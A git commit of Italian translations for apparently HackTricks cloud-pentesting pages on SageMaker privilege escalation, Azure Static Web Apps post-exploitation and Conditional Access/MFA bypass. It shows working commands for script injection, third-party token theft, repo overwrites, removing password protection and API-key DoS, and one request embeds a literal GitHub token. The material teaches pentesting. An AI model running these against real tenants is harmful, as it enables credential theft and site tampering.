Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:07 +00:00
parent 2bbc3c5b4a
commit f7d370c762
5 changed files with 283 additions and 12 deletions

View File

@@ -17,7 +17,7 @@ La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'A
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso fino alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker ad esso associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
Un attaccante con tali permessi può fare in modo che **sagemaker esegua un processingjob** con un ruolo sagemaker associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un attaccante con questi permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\
&#xNAN;_&#x49; non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
_Non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
## Riferimenti

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Per ulteriori informazioni su questo servizio, controlla:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3).
Il seguente comando crea uno snippet che sarà sempre caricato dall'app web::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Leggi le credenziali di terze parti configurate
Come spiegato nella sezione App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.
Ecco alcuni esempi di comandi per controllare i token:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Sovrascrivere file - Sovrascrivere percorsi, HTML, JS...
È possibile **sovrascrivere un file all'interno del repository Github** contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
Questo può essere sfruttato dagli attaccanti per **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare determinati percorsi** ai propri server sovrascrivendo il file `staticwebapp.config.json`.
> [!WARNING]
> Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Con questo permesso, è possibile **modificare la password** che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Questo permesso consente di ottenere il **token di distribuzione della chiave API** per l'app statica.
Questo token consente di distribuire l'app.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando **come funziona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro.
1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che desideri distribuire) ed esegui `cd react-basic`.
2. Modifica il codice che desideri distribuire
3. Distribuiscilo eseguendo (Ricorda di cambiare il `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Con questo permesso è possibile **cambiare la sorgente dell'app web statica in un diverso repository Github**, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Con questo permesso è possibile **reimpostare la chiave API dell'app web statica**, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# Az - Politiche di Accesso Condizionale & Bypass MFA
# Az - Politiche di Accesso Condizionale e Bypass MFA
{{#include ../../../../banners/hacktricks-training.md}}
## Informazioni di Base
Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le proprie risorse applicando i giusti controlli di accesso nelle giuste circostanze.\
Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\
Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**.
Ecco un paio di esempi:
@@ -14,7 +14,7 @@ Ecco un paio di esempi:
## Bypass delle Politiche di Accesso Condizionale
È possibile che una politica di accesso condizionale **stia controllando alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla.
È possibile che una politica di accesso condizionale **verifichi alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla.
Quando si configura una politica di accesso condizionale, è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud).
@@ -22,7 +22,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare
- **Rete**: IP, intervalli IP e posizioni geografiche
- Può essere bypassato utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo ad accedere da un indirizzo IP consentito
- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio insider
- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio interno
- **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme
- **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client”
@@ -31,7 +31,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare
- **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione”
- Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima
I possibili **risultati** sono: Bloccare o Consentire l'accesso con potenziali condizioni come richiedere MFA, dispositivo conforme…
I possibili **risultati** sono: Blocca o Consenti accesso con potenziali condizioni come richiedere MFA, dispositivo conforme…
### Piattaforme dei Dispositivi - Condizione del Dispositivo
@@ -44,9 +44,9 @@ Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Posizioni: Paesi, intervalli IP - Condizione del Dispositivo
### Località: Paesi, intervalli IP - Condizione del Dispositivo
Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni.
@@ -78,7 +78,7 @@ Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere uti
Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**.
> [!CAUTION]
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio di **voicemail** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla voicemail.
> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica.
### Dispositivi Conformi
@@ -110,7 +110,7 @@ Questo è utile per vedere se **non è richiesta MFA per accedere ad alcune appl
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Ottieni tutte le politiche
Ottieni tutte le politiche.
```bash
roadrecon plugin policies
```

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps Basic Information
Azure Static Web Apps è un servizio cloud per l'hosting di **app web statiche con CI/CD automatico da repository come GitHub**. Offre distribuzione globale dei contenuti, backend serverless e HTTPS integrato, rendendolo sicuro e scalabile. Tuttavia, i rischi includono CORS mal configurati, autenticazione insufficiente e manomissione dei contenuti, che possono esporre le app ad attacchi come XSS e data leakage se non gestiti correttamente.
> [!TIP]
> Quando viene creata un'App Statica, puoi scegliere la **politica di autorizzazione al deployment** tra **Token di deployment** e **workflow di GitHub Actions**.
### Web App Authentication
È possibile **configurare una password** per accedere all'App Web. La console web consente di configurarla per proteggere solo gli ambienti di staging o sia gli ambienti di staging che quello di produzione.
Questo è come appare un'app web protetta da password al momento della scrittura:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
È possibile vedere **se viene utilizzata una password** e quali ambienti sono protetti con:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
Tuttavia, questo **non mostrerà la password in chiaro**, solo qualcosa come: `"password": "**********************"`.
### Routes
Le route definiscono **come vengono gestite le richieste HTTP in arrivo** all'interno di un'app web statica. Configurate nel file **`staticwebapp.config.json`**, controllano la riscrittura degli URL, le redirezioni, le restrizioni di accesso e l'autorizzazione basata sui ruoli, garantendo una corretta gestione delle risorse e sicurezza.
Alcuni esempi:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## Enumerazione
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Esempi per generare Web App
Puoi trovare un bel esempio per generare un'app web nel seguente link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Forka il repository https://github.com/staticwebdev/react-basic/generate nel tuo account GitHub e chiamalo `my-first-static-web-app`
2. Nel portale Azure crea una Static Web App configurando l'accesso a Github e selezionando il nuovo repository forkato in precedenza
3. Crealo, aspetta qualche minuto e controlla la tua nuova pagina!
## Post Exploitation
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## Riferimenti
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}